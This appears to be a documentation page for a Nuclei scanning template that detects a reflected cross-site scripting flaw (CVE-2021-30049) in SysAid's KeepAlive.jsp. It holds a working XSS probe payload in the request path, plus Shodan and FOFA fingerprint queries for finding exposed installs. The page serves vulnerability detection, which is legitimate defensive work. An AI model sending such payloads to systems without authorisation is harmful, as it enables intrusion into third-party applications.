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SysAid Technologies 20.3.64 b14 - Cross-Site Scripting

ID: CVE-2021-30049

Severity: medium

Author: daffainfo

Tags: cve2021,cve,xss,sysaid

Description

Section titled “Description”

SysAid 20.3.64 b14 contains a cross-site scripting vulnerability via the /KeepAlive.jsp?stamp= URI.

YAML Source

Section titled “YAML Source”
id: CVE-2021-30049


info:
  name: SysAid Technologies 20.3.64 b14 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: SysAid 20.3.64 b14 contains a cross-site scripting vulnerability via the /KeepAlive.jsp?stamp= URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of SysAid Technologies 20.3.64 b14 to mitigate the XSS vulnerability.
  reference:
    - https://eh337.net/2021/03/30/sysaid/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30049
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30049
    cwe-id: CWE-79
    epss-score: 0.00113
    epss-percentile: 0.44743
    cpe: cpe:2.3:a:sysaid:sysaid:20.3.64:b14:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:1540720428
    fofa-query: icon_hash=1540720428
  tags: cve2021,cve,xss,sysaid


http:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a004730450220734976f0d12738634485e1b4fd6439c90619ae3e941efdbe9cd5ffa60250b7b20221009fc407c1be96fae83c8be11b3d51d9160a561d169149f9cb60d1b5c153bc6e97:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-30049.yaml"

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